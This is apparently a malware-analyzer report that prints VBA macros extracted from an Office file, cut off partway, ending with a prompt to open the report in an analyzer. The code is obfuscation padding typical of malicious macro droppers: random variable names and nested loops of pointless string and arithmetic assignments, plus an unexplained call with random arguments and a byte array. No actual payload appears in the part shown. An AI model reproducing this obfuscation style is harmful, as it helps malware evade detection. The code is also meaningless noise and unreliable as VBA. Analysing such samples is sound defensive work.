        KuNHtMa = "-v KE#zxcupcCRAqXBb" + "H )-& tZ#oYRe #P-P h" + " e T[ VSpWS"
        XPzPJr = LTrim("bx? ]& xXGqY ")
        mlpnycJ = StrReverse("w  kE C  M  hwdT ")
        kmWFG = "iIgG.v^mR.F o]%&d%" + "Kex  oFyJ %cZE)m S n" + "Jui@  [jrC & "
        kmWFG = "@s^h_Rjg!gGQ" + "T ) QoSZ lvv?^  O&$!" + "Hk  cG   Wc "
        XPzPJr = Right("P&tC MoZ  jfiSec  ", 4)
        NbsYRf = NbsYRf + 3
    Wend

    XPzPJr = Space(3)
    KuNHtMa = Space(8)
    yQatCyHyJ = 399 + 1205 + 1590
    CydSiYMSI = StrReverse("zWSe?h? v #[KtjI ")
    CydSiYMSI = UCase("eayK($ ?b)J W]YSu$ ")
    For UPTpef = 0 To 5
        For ujZqoJ = 0 To 7
            KuNHtMa = Space(18)
            XPzPJr = Space(19)
            HTXCj = LTrim("i ) (x-vj- Cyi")
            tiqmHaVGejAg = Space(5)
        Next ujZqoJ

        XPzPJr = 729 + 1401 + 1062
        mlpnycJ = StrReverse("T PakuMAB ")
        KoqSRVM = RTrim("v Q   ROp-LB? x oB")
        KoqSRVM = RTrim(" QOA  gRRQyv]y@ R^")
        KoqSRVM = 913 + 1998 + 726
        HTXCj = UCase(" Pjj w]maM XlZG")
        xdTnnXAmzHqV = RTrim("-SX pxiW  ?ilf$pI")
        HTXCj = UCase("Lkv I ? -hN WW")
        yQatCyHyJ = Space(9)
    Next UPTpef

    While mZsckby < 478
        For wayzJz = 0 To 2
            While drLDJD < 5
                CydSiYMSI = LTrim("VIKp-zDm (gtv I")
                yQatCyHyJ = LTrim("^ Nc fNpPPWxy%-Zlfa")
                tiqmHaVGejAg = StrReverse("V  L!RDB% K.")
                yQatCyHyJ = UCase("U JsRi  t yTp&Sr?e)")
                CydSiYMSI = LTrim("cTv oFGAycjrTor")
                yQatCyHyJ = UCase("SzcUla d _F%Ka(I ")
                HTXCj = Left("u -bzu^q h( J ", 5)
                HTXCj = Left("vvO?Tzw &wA", 4)
                drLDJD = drLDJD + 1
            Wend

            XPzPJr = StrReverse("gjmkdqMpY$w I_z  ")
            HTXCj = Left("A u K H ]MGnLM", 2)
            CydSiYMSI = "lksHV ?  )m] D " + "sU ?X uffHr@E" + "tGkdP- _U b$r%  W)V"
            KuNHtMa = LTrim(" ? atu S em gdUe)_")
            xdTnnXAmzHqV = LTrim("xQGRS ()h(JhZFLt ")
        Next wayzJz


        CydSiYMSI = LTrim("[KG a  ]r  ")

        XPzPJr = RTrim("yeThNwA)MMFFE Ys")

        If mZsckby = 216 Then
            HTXCj = 1640 - 891 - 620
            xdTnnXAmzHqV = UCase("XWQ eOO JFlzO UcHO#Q")
            EXrUqYJA EUblLF, "DuUXPovaT", "GBYAAEEhKq", "BModmSk", "VwdUIoM"
        End If
    mZsckby = mZsckby + 1
    Wend
    yQatCyHyJ = RTrim(" [pVhuM! Z&AbTw&")
    While HLRxEm < 3
        yQatCyHyJ = "qhL me m-$ [  HUI" + "aT &! nnbLd_s " + " YpY)[qQ!e  Gmk"
        mlpnycJ = "a n HOj#wEUD%" + "q  sds  g  j Z v" + "h Cx wd[eS#g)Pdo]&"
        HTXCj = 1984 - 956 - 442
        CydSiYMSI = Space(11)
        KuNHtMa = LTrim("eQ  l d s  Z")
        xdTnnXAmzHqV = UCase(" cQ!Cke# Zl uG ")
        tiqmHaVGejAg = Left("J@i[!  HRsCQ", 5)
        HLRxEm = HLRxEm + 1
    Wend

    While jAsgFj < 2
        For pXWvCC = 0 To 9
            KuNHtMa = Left("fddejC  !E-Twgx", 5)
            KuNHtMa = "PrPXM k C @" + "  TkGB _ DXF%   TkV" + "%g Cl GCbw]"
            kmWFG = Space(2)
        Next pXWvCC

        yQatCyHyJ = Right("#Nk ^Zb-S&wPyf", 4)
        KuNHtMa = 1538 - 886 - 1878
        xdTnnXAmzHqV = RTrim("XsjXJ#VT u")
        mlpnycJ = Space(10)
        jAsgFj = jAsgFj + 2
    Wend

    For pCQVib = 0 To 2
        While LaJrbe < 3
            KuNHtMa = 1962 - 162 - 605
            tiqmHaVGejAg = LTrim(" KNi  Jw[f$FGv o q")
            xdTnnXAmzHqV = 650 - 443 - 920
            KuNHtMa = "!E ^F b ?!  -E" + "&pL]J&z   z.ZY   u " + "m Q zbW?gtLbL"
            LaJrbe = LaJrbe + 1
        Wend

        CydSiYMSI = Right("K$psvym KpU& O ", 4)
        xdTnnXAmzHqV = StrReverse("#&KtA  ]O)Y Mn k]")
        KuNHtMa = UCase(" -K H!  fW] ")
        HTXCj = Right("zeWXO)hr@A]TG !D", 4)
        xdTnnXAmzHqV = LTrim(" R[@x-IdhOt[aw%BiG  ")
        tiqmHaVGejAg = Right("(Sz?jOY@aQ# ", 5)
        XPzPJr = 186 + 561 + 592
        yQatCyHyJ = Right("^^ QW  dw^H- ", 5)
        xdTnnXAmzHqV = StrReverse("jsK xlVGVY    F")
    Next pCQVib

    tiqmHaVGejAg = StrReverse("P(Q X o v  Y ^Sz )F")
    XPzPJr = 1261 + 101 + 377
    yQatCyHyJ = 303 - 1725 - 410
    HTXCj = RTrim("lKrG vdUHzvv ^C  bh")
    mlpnycJ = Left("  TiuYdz  ", 5)
    xdTnnXAmzHqV = UCase(" .J @_#.ZPd$Jj")


End Sub



Attribute VB_Name = "Module1"

Function uZxnBO(okkSYLM As String, EQzppYx As String, XfqVZqB As Double) As String
    KoqSRVM = 1535 - 1987 - 448
    HTXCj = UCase("rN AK$ -f&IOd@ u c")
    KuNHtMa = StrReverse(" psYMDF ndDHA # nA")
    KoqSRVM = Right("Rzt[Dy(YN tdrJ)[_J", 3)
    XPzPJr = RTrim("FIoAXCP   yVz j ")
    tiqmHaVGejAg = LTrim("?tka   lg( @ s ")
    KuNHtMa = StrReverse("K GRIu$[zO^")
    tiqmHaVGejAg = RTrim("mkFS(mgwQ   uNQVr")
    CydSiYMSI = Right("nBIo%G R [a  d e?", 5)
    uZxnBO = "pwaBfMiUN"
End Function



Sub JOmgPJ(JQqdty As String, bSrVig As Integer, DuVLnm As Boolean, oyLKAXp As String, ISgiEK As Integer)
    tiqmHaVGejAg = LTrim("bmTu #xQdk! ")
    CydSiYMSI = 1359 + 1866 + 199
    KoqSRVM = Space(7)
    yQatCyHyJ = "BYLyso V s" + "U#_Kf_(i@&jtb" + "uEg NtgUxwivWHpg#Ln "
    CydSiYMSI = Right("bD?#F&)hij U^", 3)
End Sub



Function rBMwpZ(rGSlNMv As Double) As String
    kmWFG = Left(" jgfrSB. Z#ki", 2)
    mlpnycJ = Right(" VBh q QLtBw W!W ]SD", 2)
    mlpnycJ = StrReverse("JPM([  Pmv(   rC")
    XPzPJr = LTrim("p-a)H dJ]f")
    HTXCj = 836 - 1251 - 670
    KoqSRVM = 1912 - 693 - 628
    rBMwpZ = "nLleFb"
End Function


Function dhWPTe(VzbHTe As Integer, ZHgCwmz As Double) As String
    CydSiYMSI = UCase("    (K   ] B &")
    CydSiYMSI = Space(19)
    HTXCj = 571 - 159 - 1368
    KoqSRVM = "?    kn[LaAP?$FiN." + "TnQm _%rkJ" + "q pd f T-] "
    KoqSRVM = StrReverse("bi  Cq nH!")
    KoqSRVM = RTrim("aZ t BkIJn !]")
    xdTnnXAmzHqV = Space(16)
    tiqmHaVGejAg = 246 + 1464 + 305
    dhWPTe = "PTNpDQhg"
End Function



Attribute VB_Name = "Module2"

Function XFIfzt(aYzJjS As String) As String
    xdTnnXAmzHqV = Right(" u Cu( KWl  n eYV K", 2)
    HTXCj = "#ePm  ]v?EbLX" + " #  U x c  #?  E" + "Q  N JkmQ l  ve"
    While uTPVKZ < 5
        For SFItyq = 0 To 10
            kmWFG = " U xojkO B" + "Fr hENxgWDi" + "QM M N?G sb$"
            HTXCj = 1351 - 908 - 1744
        Next SFItyq

        tiqmHaVGejAg = 1179 + 862 + 1289
        yQatCyHyJ = UCase("x Hnv  eo )nq^Z ")
        CydSiYMSI = Right("M.#ft dV  )he  l", 3)
        KoqSRVM = StrReverse("@z]& okz -")
        mlpnycJ = 1746 - 860 - 1562
        uTPVKZ = uTPVKZ + 1
    Wend

    For QJVkIl = 0 To 5
        While SCCROb < 5
            kmWFG = Space(20)
            KoqSRVM = Right("[yV  kwpLbE l vj  ", 3)
            xdTnnXAmzHqV = " ]JHBDBNulZW(mu- sJ" + "yc Te@ b[fjO  gU@" + "i)i NkfkA? NSo A "
            mlpnycJ = Right("D?  aHIx      ", 4)
            mlpnycJ = RTrim("?Y_]j xhgoHJ(I  MO")
            HTXCj = Left(" fB  !Ty VSqkn", 4)
            XPzPJr = LTrim(" v w( Q fidWM ) y")
            xdTnnXAmzHqV = " kU)LiQ[ l  a" + "iH vzi pHB " + "F syc^ Nj?Rhl ] "
            HTXCj = 1303 + 129 + 1124
            tiqmHaVGejAg = LTrim(" _ChQ%p ]aB NYvyl")
            SCCROb = SCCROb + 2
        Wend

        kmWFG = LTrim("F fn D Dasb T%#")
        yQatCyHyJ = Space(13)
        yQatCyHyJ = "g.&ekVk  a" + "YCy%X  #v !" + "Rg ? ^ v^xI"
        kmWFG = 1765 - 1398 - 1123
        xdTnnXAmzHqV = LTrim(" ]&h)uAf)Hd")
        XPzPJr = UCase("PlJ?Z $&n   ]ytLH! _")
        yQatCyHyJ = UCase(" CR ky [ VTRFPwUNI")
        tiqmHaVGejAg = "^ oPt!x &R^keqc@e" + "m aabJ t!QJ]qV" + "c Q R)  j_    Va $"
    Next QJVkIl

    While wvhkAj < 5
        CydSiYMSI = StrReverse(" ORr! v LCO ")
        xdTnnXAmzHqV = Space(14)
        xdTnnXAmzHqV = UCase("b SE^BxuNy")
        wvhkAj = wvhkAj + 1
    Wend

    For ipQTgk = 0 To 9
        XPzPJr = "a^#cxp!bb pg F$" + "kNkAmNCGGB HkF&W " + "xsPiVP eP]TW &l]UICh"
        tiqmHaVGejAg = RTrim("zF SOhY PUG[flpW")
        tiqmHaVGejAg = 1795 + 156 + 670
    Next ipQTgk

    XFIfzt = "sjdqqr"
End Function



Sub ZWHcxB(pdsrFU As Integer, bvlKgV As String, DXglStX As Boolean, lVViaZI As Integer, vbxWWpm As String)
    KuNHtMa = 904 + 1555 + 1806
    KoqSRVM = Right("%  R-WO Cx", 3)
    HTXCj = 151 + 1154 + 1897
    KoqSRVM = 367 + 1905 + 1156
    While fNqggq < 3
        XPzPJr = Space(2)
        CydSiYMSI = Left("JRn a-tQ   ", 2)
        yQatCyHyJ = StrReverse("vXc. ]Dn]rTb ")
        KoqSRVM = 1561 + 508 + 396
        mlpnycJ = StrReverse("  d#CSH YG CkDW^A ")
        xdTnnXAmzHqV = Right("Zi XmHa f_YYt", 2)
        CydSiYMSI = LTrim(" sPOi j  J ")
        KuNHtMa = UCase(" M  Rxl M&h_  HS]")
        fNqggq = fNqggq + 1
    Wend

    XPzPJr = 1177 + 654 + 736
    xdTnnXAmzHqV = Space(15)
    XPzPJr = Left(")-  SDaszt VP   fr", 4)
    yQatCyHyJ = RTrim("A   kWYNze")
    KuNHtMa = Space(18)
End Sub



Attribute VB_Name = "Module3"

Sub lORPyJ(pJvaAM As Double, aTaBFQy As Boolean, ODsfyZ As Integer)
    xdTnnXAmzHqV = 1360 + 1669 + 1338
    mlpnycJ = RTrim("Oe sYhNRaoB")
    kmWFG = StrReverse("&!T-pmOH ]G& PcKJt ")
    tiqmHaVGejAg = 758 + 1757 + 455
    KoqSRVM = Left(" s( _f S  X ", 3)
End Sub



Function fZFIi(rFsiRcT As String) As String
CydSiYMSI = "v    kk_$ P @" + "Rzg  ASPTyE bW(]pepr" + " a WHYGuxV bUMKZD"
While aEKJcA < 4
    While PQeqwb < 4
        yQatCyHyJ = LTrim("  B?mZHv tY b ")
        HTXCj = 168 - 473 - 376
        kmWFG = Space(12)
        KoqSRVM = Right("GWCk-hZU v", 4)
        tiqmHaVGejAg = 559 - 1362 - 568
        HTXCj = StrReverse("neFa VHEz .Vtbj&")
        tiqmHaVGejAg = Space(16)
        PQeqwb = PQeqwb + 1
    Wend

    tiqmHaVGejAg = StrReverse("PPH]]  _(Bl ?%O ")
    KuNHtMa = LTrim("eyEvp B?)iN  J")
    CydSiYMSI = Right("r  N@PEKxfTGE", 4)
    CydSiYMSI = StrReverse("N rv Pg %!jkzE] zu")
    kmWFG = 459 - 283 - 189
    aEKJcA = aEKJcA + 1
Wend
While XCsECK < 4
    For KwzfQG = 0 To 6
        KoqSRVM = UCase(" ke%Fk v !_z&bl %a")
        CydSiYMSI = 160 - 1118 - 1843
        KoqSRVM = 1628 + 571 + 1473
        yQatCyHyJ = UCase("H  -kmqQJB -X Cc ")
        HTXCj = Right("  sX tIqyy.z Nr s %", 4)
    Next KwzfQG

    yQatCyHyJ = Left(" F%LE& NnZ?Yx_", 3)
    yQatCyHyJ = Space(5)
    yQatCyHyJ = StrReverse(" QZP# UtK  ")
    xdTnnXAmzHqV = 1631 - 1646 - 1587
    XPzPJr = LTrim("t%dxL#FpfFDRBY- ")
    mlpnycJ = 878 - 774 - 382
    XCsECK = XCsECK + 3
Wend
HTXCj = 132 + 128 + 1613
xdTnnXAmzHqV = "U(fugzlt^R dcUE  w" + "cOL .o- cVwmvn!(" + "gnI U Ve o $p Ar"
HTXCj = LTrim("AEl P  fL nfL.S^^")
    Dim afuiVZ() As Byte
    For TvaJSD = 0 To 7
        yQatCyHyJ = "Xf@h-Mz   U& Tut[S" + "IT? oJQo y" + "fVW &# &K J   KA"
        mlpnycJ = 1181 + 1273 + 1610
        CydSiYMSI = 1922 - 106 - 1943
        KoqSRVM = StrReverse("%y  O -Ls wcns K bG")
        KuNHtMa = 1922 - 669 - 360
        XPzPJr = Left("@ XKP    NAHh   Ok", 2)
    Next TvaJSD
    yQatCyHyJ = Right("rbN #_?LhC c @  o-", 5)
    For mbPaaZ = 0 To 4
        While HRFfzM < 3
            mlpnycJ = 1958 - 1318 - 1457
            kmWFG = 179 - 1940 - 473
            mlpnycJ = 680 + 116 + 1579
            xdTnnXAmzHqV = StrReverse("sft tT HN) L N")
            yQatCyHyJ = LTrim(" q ^GKQc HZW l ")
            KoqSRVM = UCase("CU t OQfmxgTK[E")
            mlpnycJ = RTrim("V #p YXs_.M ")
            KoqSRVM = StrReverse("zn[ YZ   d")
            HRFfzM = HRFfzM + 1
        Wend

        HTXCj = UCase(" $?R]. S  VbOc WcKhC")
        yQatCyHyJ = UCase("y(w- LpBA TF XKI ")
        HTXCj = LTrim("W?kUt s  vn brE TcQF")
        HTXCj = LTrim("u @ Bq PpRP?^H  M iG")
        XPzPJr = StrReverse("Lq Nk uplZ  ya")
    Next mbPaaZ
    While zzQBNg < 1
        For bVzFWw = 0 To 5
            CydSiYMSI = "pg B Ex[ ow# lB&" + " h@Bn o-FWjT  TpB" + "rl!   wOrN qlR_ RbX"
            kmWFG = RTrim("?d ^ T MliO ")
            XPzPJr = LTrim(" wWBL.Y CYGgG")
            KoqSRVM = 1106 + 1866 + 910
            mlpnycJ = UCase(" )IqpdaisT OBLP xOPO")
            xdTnnXAmzHqV = UCase("ExV R]dTwlN   D  i")
            XPzPJr = 247 - 1899 - 1152
        Next bVzFWw

        tiqmHaVGejAg = Right("dIml]l[z &?  ", 2)
        tiqmHaVGejAg = 1514 - 512 - 1468
        XPzPJr = Right("!g JW QUB )) G    c", 2)
        kmWFG = StrReverse("a ! []c)P ulWq C#VZ#")
        XPzPJr = RTrim("K I( a d #K b!#.Tb# ")
        KoqSRVM = Right("m( XZe$xHz ^WX% R  ", 4)
        KoqSRVM = 1318 - 639 - 440
        KoqSRVM = "fEWX[V!GMCvd" + "tC$m  [_-Io A" + "YIExHaN  rt xA "
        XPzPJr = StrReverse("p -dL . B[)m  MTB ")
        zzQBNg = zzQBNg + 2
    Wend
    For fTxTAx = 0 To 4
        While fNaEhj < 3
            mlpnycJ = StrReverse("rQm- Z&e V  xJ ")
            KoqSRVM = RTrim("OUbVXwgG  #@ BH@X")
            mlpnycJ = UCase("WoHGOM go[")
            tiqmHaVGejAg = Right(" GT %   gJP", 2)
            mlpnycJ = Space(13)
            XPzPJr = StrReverse("NZC p  pl^t -")
            fNaEhj = fNaEhj + 1
        Wend

        HTXCj = RTrim("Y[yQw    ^k _s")
        yQatCyHyJ = RTrim("% -OGM c%!b")
        CydSiYMSI = UCase("   K Exp cBt !hNVF ")
        XPzPJr = Space(12)
        KuNHtMa = Right("WCr aR[NhO y  X  ", 2)
    Next fTxTAx
    For wvqHLp = 0 To 4
        For fVcfOi = 0 To 6
            KuNHtMa = RTrim(" n. d EqAC Kil Xf")
            xdTnnXAmzHqV = 928 - 1907 - 1075
            yQatCyHyJ = Left(" g MBlj Uw@  sRt R", 5)
            tiqmHaVGejAg = Left("V   J#Xw L", 3)
            yQatCyHyJ = UCase("r?%  KY bOIASR")
            CydSiYMSI = RTrim("f#@ oRgXR J )")
            yQatCyHyJ = StrReverse(" # foWuNhPF(@@n   -y")
        Next fVcfOi

        tiqmHaVGejAg = RTrim("N He CJwNhu")
        mlpnycJ = UCase(" Mwn WTin(  R%%z")
        yQatCyHyJ = 1641 - 972 - 1781
        HTXCj = "KrRH hPN MB [ " + "VGcc$ Z XLrqqH[ Q" + " F]v WaMNO  n^"
        KuNHtMa = RTrim(" ( lg[   &)")
    Next wvqHLp
    For ytnbnI = 0 To 2
        For gNmDRY = 0 To 7
            mlpnycJ = 1651 - 150 - 284
            tiqmHaVGejAg = RTrim("@A)ETi^aZYLg[  gqv")
            CydSiYMSI = 1560 + 656 + 617
            tiqmHaVGejAg = StrReverse("idt)gR?Gci%WQ? ")
        Next gNmDRY

        KuNHtMa = LTrim("zlGocH]GQ MxA tN ")
        KoqSRVM = "u Pn X Wz@" + "qS] g!b @? Btm" + "KdC!Fv  zJ o )G #C^U"
        HTXCj = 555 - 691 - 294
        tiqmHaVGejAg = UCase("$uLh uyg(PjQ [_fmXdi")
        KoqSRVM = Right(" NMh(# I q Zd", 4)
        yQatCyHyJ = UCase("j@k@ V %Pds $ [[ Tjy")
    Next ytnbnI
    KoqSRVM = UCase("JBnT ]oK .R dj^]N ")
    While DkazsF < 3
        While hZMBsE < 5
            XPzPJr = StrReverse("(PTb ..D nq  HlkbRFB")
            tiqmHaVGejAg = "EbuQlp-!sV  a!?)" + "%  nWGIjvum & M" + "bCq sTXaV-$x. k- "
            HTXCj = "LaCFTKB$Phw@ Yc" + "w DcV Z)gth  zq  Ky " + " ^ X cLF W"
            HTXCj = "ef)JSUL  fUUc l r" + "bsO X%za Kb  qHut " + "BDQ I$  bEY"
            KoqSRVM = Left("rE  &. ]qUpBJG]M)E#", 3)
            KoqSRVM = RTrim("  $(De &cc! Bnkb)")
            HTXCj = 1032 + 1313 + 1827
            hZMBsE = hZMBsE + 1
        Wend

        tiqmHaVGejAg = LTrim("F   VqOc@ufQJntDWS ")
        tiqmHaVGejAg = LTrim("Ehe  Vz PpvY")
        tiqmHaVGejAg = Right(" Rs%.& v- !O E  .", 4)
        KoqSRVM = Right("[nwveNx-v?Or Aepl_e", 3)
        KuNHtMa = "uBK  RG ER d&FH a Ym" + "nC Lb f TllWt" + " Ah  l  Dx Q"
        XPzPJr = StrReverse("tp]E ^ &kNdAM")
        KuNHtMa = LTrim("  dhzcEtt)d")
        KoqSRVM = RTrim("  ?vKP$ rx")
        xdTnnXAmzHqV = LTrim("  AaH epeyx ajEg-  ")
        DkazsF = DkazsF + 2
    Wend
    Dim neOXD As Integer
…

Open this report in the interactive analyzer, or submit your own file for analysis.